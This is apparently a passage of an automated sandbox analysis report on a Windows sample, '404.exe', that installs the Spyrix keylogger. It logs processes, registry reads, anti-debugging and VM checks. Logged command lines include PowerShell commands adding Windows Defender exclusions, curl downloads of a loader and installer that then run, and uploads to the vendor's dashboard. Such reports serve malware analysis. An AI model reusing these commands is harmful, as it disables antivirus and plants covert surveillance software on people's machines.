Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8076	Thread sleep count: 4814 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8108	Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2284	Thread sleep count: 6922 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2300	Thread sleep count: 2677 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3424	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5972	Thread sleep count: 8289 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6656	Thread sleep count: 1167 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3652	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6568	Thread sleep count: 6208 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5356	Thread sleep count: 3534 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5604	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3128	Thread sleep count: 6276 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7428	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2836	Thread sleep count: 3424 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5912	Thread sleep count: 8138 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1524	Thread sleep count: 1464 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5424	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4424	Thread sleep count: 6268 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5640	Thread sleep count: 3424 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5876	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6600	Thread sleep count: 7435 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep count: 2099 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7584	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4752	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe TID: 5972	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 8104	Thread sleep count: 139 > 30
Source: C:\Windows\SysWOW64\timeout.exe TID: 7676	Thread sleep count: 46 > 30

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_ComputerSystem

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0040AC68 FindFirstFileW,FindClose,	46_2_0040AC68
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0040A700 lstrcpynW,lstrcpynW,lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	46_2_0040A700
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_033575E8 FindFirstFileA,	46_2_033575E8
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_033576C4 FindFirstFileA,GetLastError,	46_2_033576C4

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 46_2_033560F2 GetSystemInfo,

46_2_033560F2

Source: C:\Users\user\Desktop\404.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Thread delayed: delay time: 922337203685477

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData

Source: 404.tmp, 0000000C.00000003.2951921106.000000000568E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 404.tmp, 0000000C.00000003.2962313882.0000000000855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\gj
Source: spkl.exe, 0000002E.00000002.3311541761.000000000178E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: om&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&00000
Source: spkl.exe, 0000002E.00000002.3311541761.000000000178E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}
Source: 404.exe, 00000000.00000002.2291525050.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.2104847902.0000000002D30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2351727107.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: spkl.exe, 0000002E.00000003.2927923049.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: @@IdPORT_vmnet

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

API call chain: ExitProcess graph end node

graph_46-28225

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_60-37360

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 46_2_0337B8B0 rdtsc

46_2_0337B8B0

Source: C:\Users\user\Desktop\404.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 60_2_00DC119B SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,exit,

60_2_00DC119B

Source: C:\Users\user\Desktop\404.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'

Source: C:\Users\user\Desktop\404.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\\38b5bf3b-2a32-4636-ac09-779581aade41.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query "HKU\S-1-5-19\Environment"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex" /y
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '404.*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex" /y
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22"
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 20
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 83
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 112
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 121
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 114
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 105
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 120
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spm"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "sem"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spkl.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spkl"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq clv.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "clv"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat.exe -e

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F			Jump to behavior

Source: spkl.exe, 0000002E.00000002.3328914499.0000000004FE8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager!
